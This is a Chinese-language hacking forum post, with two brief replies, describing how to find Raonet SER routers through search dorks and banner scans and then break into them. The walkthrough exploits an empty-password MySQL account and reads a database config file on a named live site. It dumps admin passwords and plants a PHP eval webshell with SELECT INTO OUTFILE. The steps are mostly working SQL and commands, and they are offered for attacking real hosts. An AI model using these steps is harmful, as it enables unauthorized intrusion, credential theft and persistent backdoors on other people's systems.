利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：
  @& J$ I  e' \  W+ z: O+ }: r, {5 {
1：google搜索'Raonet Subscriber Ethernet Router'
6 i; p0 a( q+ e- {
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
8 {' P( h, V4 V, e
- u1 p. \# E- _$ s+ u; F/ Z3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
. ?) E- ?  |3 i" v. }
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
. m/ s9 r; P; [# \
9 p" y: x& s7 T9 q( k# C' n

入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
7 i; S5 ^. t# b  U2 g* ]3：得到密码后连接，查看GUI管理密码：
4 \+ S. }% r5 e, T. V0 }use ser_500
select id,passwd from user;
4:通过数据库写入webshell，执行命令：
use mysql;
create table ok(cmd TEXT);
  j7 M4 M, @# a! Q$ l( S5 zinsert into ok values("<?php @eval($_POST[cmd])?>");
/ K' ~8 s) Z/ T3 F* `( xselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;
2 A# W& y  j% B8 }- Z
5:连接后门shell.php
$ k1 V( ^, t0 v; ~6 d% g
6. 搞定！

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。